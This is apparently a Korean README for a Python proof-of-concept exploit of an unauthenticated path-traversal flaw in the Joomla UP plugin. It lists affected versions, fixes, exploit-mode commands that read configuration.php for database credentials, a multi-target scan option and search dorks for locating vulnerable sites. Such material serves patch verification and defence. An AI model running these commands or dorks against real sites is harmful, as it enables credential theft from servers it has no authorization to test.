
CVE-2026-97161에 대한 Python PoC: Joomla UP 플러그인을 핑거프린팅하고 com_ajax ajax-view를 통한 비인증 경로 순회를 탐지하여 configuration.php를 읽습니다.
**CVE-2026-97161**에 대한 Python 3 PoC — Joomla용 UP (Universal Plugin) (lomart.fr).
CVE-2026-97161 — UP 5.0.0–5.2.0 및 6.0.0–6.0.29 버전은 AJAX 파일 접근 핸들러(특히 ajax-view 팝업 로더)를 통해 인증 없는 경로 순회 / 임의 파일 읽기(CWE-22, CWE-284)를 허용합니다. 공격자는 configuration.php 및 기타 서버가 읽을 수 있는 파일을 읽을 수 있었습니다. CVSS 4.0 9.2 심각(Critical) (PR:N). 수정: UP 6.1.0 / 5.2.1.
동일 릴리스에서는 의도된 디렉터리 외부에 임의 파일 생성도 함께 수정되었습니다(동일 CVE 계열).
PoC 페이지: https://pocbit.org/pocs/cve-2026-97161
카탈로그: https://pocbit.org/pocs/
| 제품 | UP 플러그인 (plg_content_up) |
| 영향받는 버전 | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| 수정 버전 | 5.2.1, 6.1.0 |
| 벡터 | com_ajax + UP 플러그인 — ajax-view 백엔드로의 사용자 제어 파일 경로 |
| 영향 | 기밀성 (configuration.php를 통한 DB 자격 증명) |
벤더는 정확한 쿼리 문자열을 공개하지 않았습니다. 이 PoC는 UP를 핑거프린팅하고, 일반적인 com_ajax 매개변수 형태를 탐색하거나, 실험실 캡처에서 얻은 **--ajax-url**을 사용합니다.
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --read-probe
python poc.py -u https://joomla.example --mode exploit --read-probe
python poc.py -u https://joomla.example --mode exploit --ajax-url "https://joomla.example/index.php?option=com_ajax&plugin=up&..."
python poc.py --list targets.example.txt --mode check --read-probe -j 8
body="plugins/content/up"
body="com_ajax" "up.lomart"
CVE-2026-97161 PoC: Joomla UP (lomart.fr) 인증 없는 경로 순회 / 파일 읽기 (ajax-view 경유, ≤6.0.29). 플러그인을 탐지하고 configuration.php를 탐색합니다. PoCbit
CVE-2026-97161: UP 플러그인에서 세션 없이 파일 읽기(경로 순회) 취약점; 6.1.0 / 5.2.1에서 수정되었습니다.
승인된 테스트 전용입니다. --read-probe는 대상에서 민감한 파일을 읽으려고 시도합니다.